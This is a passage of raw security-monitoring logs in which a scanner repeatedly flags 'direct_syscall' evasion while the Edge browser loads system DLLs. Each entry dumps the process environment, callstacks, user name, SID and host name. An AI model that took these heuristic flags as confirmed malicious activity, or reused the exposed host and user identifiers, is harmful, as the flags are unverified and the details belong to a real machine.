PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80179942714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80179874909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80179948ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80179e72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80179e71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80179e690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80179e621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80179e6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff80179cb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffbf8421014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffbf8233640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffbf8233a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc366e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc366e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc366e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffc366e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc36754294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffc366f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc366f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc3671fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffc33f8d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffc36237a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffc3623759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffc362544fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffc363bd25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffc362087d1 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffc362072ff C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffc36206e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffbe8242e65 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!CreateSmartScreenClient|0x7ffbe8242d76 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!CreateSmartScreenClient|0x7ffbe8242c0e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!CreateSmartScreenClient|0x7ffbe823d9ab C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!CreateSmartScreenClient|0x7ffbe66aec7d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe66ad9a0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe6004beb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffbe6054fa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffbe60795e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffc3462e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffc3676c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-22T14:22:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1330455 + Pid: 6420 + Tid: 16780 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-22 14:22:09.0869029 +0100 CET + Params: base_address➜ 7ffc04170000, checksum➜ 169518, default_address➜ 7ffc04170000, file_path➜ C:\Windows\System32\sppc.dll, image_size➜ 151552, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 6420, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 6420 + Ppid: 12668 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.90\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:6420 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_6420_RUHPJWSRCHKKNVKY EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1103 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ng+ciWeYNgyOU8mmJTuEKPJww4K7JAnAhy10yGTQQSE=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"U4gJnt6VPr1n93l/b1bZfWpLqffQQc09kBrRPcIaAZk=" EFC_1748_1262719628:1 EFC_1748_1592913036:1 EFC_1748_2283032206:1 EFC_1748_2775293581:1 EFC_1748_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80179942714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80179874909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80179948ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80179e72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80179e71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80179e690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80179e621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80179e6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff80179cb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffbf8421014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffbf8233640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffbf8233a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc366e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc366e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc366e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffc366e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffc367541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffc366f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc366f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc3671eb4d C:\Windows\System32\ntdll.dll!RtlReleaseSRWLockExclusive|0x7ffc36776fb7 C:\Windows\System32\ntdll.dll!LdrGetProcedureAddressForCaller|0x7ffc34004e5c C:\Windows\System32\KernelBase.dll!GetProcAddressForCaller|0x7ffbe9284b09 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffbe66aec7d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe66ad9a0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe6004beb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffbe6054e18 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffbe60795e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffc3462e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffc3676c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-22T14:22:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1330553 + Pid: 6420 + Tid: 16780 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-22 14:22:09.0916928 +0100 CET + Params: base_address➜ 7ffc21690000, checksum➜ 124821, default_address➜ 7ffc21690000, file_path➜ C:\Windows\System32\slwga.dll, image_size➜ 122880, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 6420, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 6420 + Ppid: 12668 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.90\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:6420 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_6420_RUHPJWSRCHKKNVKY EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1103 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ng+ciWeYNgyOU8mmJTuEKPJww4K7JAnAhy10yGTQQSE=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"U4gJnt6VPr1n93l/b1bZfWpLqffQQc09kBrRPcIaAZk=" EFC_1748_1262719628:1 EFC_1748_1592913036:1 EFC_1748_2283032206:1 EFC_1748_2775293581:1 EFC_1748_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80179942714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80179874909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80179948ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80179e72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80179e71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80179e690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80179e621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80179e6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff80179cb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffbf8421014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffbf8233640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffbf8233a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc366e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc366e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc366e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffc366e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc36754294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffc366f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc366f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc3671fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffc33f8d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffbe77d79b2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe77d781d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe92c561d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffbe92c5445 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffbe66aec7d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe66ad9a0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!IsSandboxedProcess|0x7ffbe6004beb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffbe6054e18 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffbe60795e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\msedge.dll!?|0x7ffc3462e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffc3676c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-22T14:22:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1330987 + Pid: 6420 + Tid: 8776 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-22 14:22:09.122813 +0100 CET + Params: base_address➜ 7ffbe54f0000, checksum➜ 2650299, default_address➜ 7ffbe54f0000, file_path➜ C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.90\telclient.dll, image_size➜ 2715648, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 6420, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 6420 + Ppid: 12668 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.90\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:6420 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_6420_RUHPJWSRCHKKNVKY EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1103 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ng+ciWeYNgyOU8mmJTuEKPJww4K7JAnAhy10yGTQQSE=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"U4gJnt6VPr1n93l/b1bZfWpLqffQQc09kBrRPcIaAZk=" EFC_1748_1262719628:1 EFC_1748_1592913036:1 EFC_1748_2283032206:1 EFC_1748_2775293581:1 EFC_1748_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App 